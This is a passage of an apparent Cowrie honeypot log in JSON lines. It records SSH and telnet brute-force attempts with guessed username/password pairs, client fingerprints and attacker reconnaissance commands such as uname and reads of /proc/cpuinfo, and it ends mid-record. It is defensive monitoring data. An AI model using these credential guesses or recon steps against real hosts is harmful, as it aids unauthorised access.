{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:11.573576Z","src_ip":"192.109.200.78","session":"a69db691690a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:11.787858Z","src_ip":"192.109.200.78","session":"a69db691690a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:11.791476Z","src_ip":"192.109.200.78","session":"a69db691690a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.70261311531067,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:11.872979Z","src_ip":"206.189.71.75","session":"e0c360cd2e37","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:11.877923Z","src_ip":"192.109.200.78","session":"a69db691690a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:11.882770Z","src_ip":"192.109.200.78","session":"a69db691690a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":50560,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b1b4d4700ba","protocol":"telnet","message":"New connection: 206.189.71.75:50560 (159.203.135.109:23) [session: 9b1b4d4700ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:12.698858Z"}
{"eventid":"cowrie.session.closed","duration":51.85947346687317,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:12.742661Z","src_ip":"206.189.71.75","session":"b888a1ec0262","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.68578290939331,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:14.044529Z","src_ip":"206.189.71.75","session":"cbcc562af305","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44644,"dst_ip":"10.17.0.5","dst_port":22,"session":"7adc066e1d96","protocol":"ssh","message":"New connection: 192.109.200.78:44644 (10.17.0.5:22) [session: 7adc066e1d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:14.921371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:15.079396Z","src_ip":"192.109.200.78","session":"7adc066e1d96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:15.082939Z","src_ip":"192.109.200.78","session":"7adc066e1d96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":51684,"dst_ip":"159.203.135.109","dst_port":23,"session":"27b7b3c6c7a9","protocol":"telnet","message":"New connection: 206.189.71.75:51684 (159.203.135.109:23) [session: 27b7b3c6c7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:15.113948Z"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:15.479776Z","src_ip":"192.109.200.78","session":"7adc066e1d96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38916,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ec2159bf911","protocol":"ssh","message":"New connection: 159.203.92.129:38916 (159.203.135.109:22) [session: 5ec2159bf911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:15.539427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:15.544576Z","src_ip":"159.203.92.129","session":"5ec2159bf911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:15.550502Z","src_ip":"159.203.92.129","session":"5ec2159bf911","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@12","message":"login attempt [admin/Admin@12] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:15.562108Z","src_ip":"159.203.92.129","session":"5ec2159bf911","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:15.609900Z","src_ip":"159.203.92.129","session":"5ec2159bf911","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:15.613210Z","src_ip":"159.203.92.129","session":"5ec2159bf911","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:15.617249Z","src_ip":"159.203.92.129","session":"5ec2159bf911","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:15.629296Z","src_ip":"159.203.92.129","session":"5ec2159bf911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:15.637084Z","src_ip":"159.203.92.129","session":"5ec2159bf911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:16.565574Z","src_ip":"192.109.200.78","session":"7adc066e1d96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.491050243377686,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:17.212502Z","src_ip":"206.189.71.75","session":"c9528c536cd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.077762603759766,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:19.030800Z","src_ip":"206.189.71.75","session":"cf9d478a651d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44810,"dst_ip":"10.17.0.5","dst_port":22,"session":"3846dd943518","protocol":"ssh","message":"New connection: 192.109.200.78:44810 (10.17.0.5:22) [session: 3846dd943518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:19.141880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:19.146779Z","src_ip":"192.109.200.78","session":"3846dd943518","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:19.229148Z","src_ip":"192.109.200.78","session":"3846dd943518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:19.493105Z","src_ip":"192.109.200.78","session":"3846dd943518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.21892976760864,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:19.846857Z","src_ip":"206.189.71.75","session":"26ecf0775299","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:20.587348Z","src_ip":"192.109.200.78","session":"3846dd943518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.735859632492065,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:20.595664Z","src_ip":"206.189.71.75","session":"10893fa91244","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":57390,"dst_ip":"159.203.135.109","dst_port":23,"session":"219b1f3b385a","protocol":"telnet","message":"New connection: 206.189.71.75:57390 (159.203.135.109:23) [session: 219b1f3b385a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:21.844235Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":57496,"dst_ip":"159.203.135.109","dst_port":23,"session":"460edb8ca6c6","protocol":"telnet","message":"New connection: 206.189.71.75:57496 (159.203.135.109:23) [session: 460edb8ca6c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:22.976080Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44812,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1dfd7484e0f","protocol":"ssh","message":"New connection: 192.109.200.78:44812 (10.17.0.5:22) [session: b1dfd7484e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:23.425920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:23.430778Z","src_ip":"192.109.200.78","session":"b1dfd7484e0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:23.514222Z","src_ip":"192.109.200.78","session":"b1dfd7484e0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:23.779773Z","src_ip":"192.109.200.78","session":"b1dfd7484e0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.29273557662964,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:23.832285Z","src_ip":"206.189.71.75","session":"7348d0ac8f90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:24.864632Z","src_ip":"192.109.200.78","session":"b1dfd7484e0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44826,"dst_ip":"10.17.0.5","dst_port":22,"session":"80ed217043b0","protocol":"ssh","message":"New connection: 192.109.200.78:44826 (10.17.0.5:22) [session: 80ed217043b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:27.469996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:27.474387Z","src_ip":"192.109.200.78","session":"80ed217043b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:27.671244Z","src_ip":"192.109.200.78","session":"80ed217043b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:28.097584Z","src_ip":"192.109.200.78","session":"80ed217043b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.97562384605408,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:28.661209Z","src_ip":"206.189.71.75","session":"e23227e113f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":34928,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fb9e74b2c56","protocol":"telnet","message":"New connection: 206.189.71.75:34928 (159.203.135.109:23) [session: 3fb9e74b2c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:28.932986Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":35120,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b7c6c84b3a4","protocol":"telnet","message":"New connection: 206.189.71.75:35120 (159.203.135.109:23) [session: 2b7c6c84b3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:29.181727Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:29.187536Z","src_ip":"192.109.200.78","session":"80ed217043b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":35516,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fbbd1af8cbb","protocol":"telnet","message":"New connection: 206.189.71.75:35516 (159.203.135.109:23) [session: 9fbbd1af8cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:29.783053Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47484,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6e0f4eb7a27","protocol":"ssh","message":"New connection: 192.109.200.78:47484 (10.17.0.5:22) [session: b6e0f4eb7a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:31.645515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:31.650721Z","src_ip":"192.109.200.78","session":"b6e0f4eb7a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-2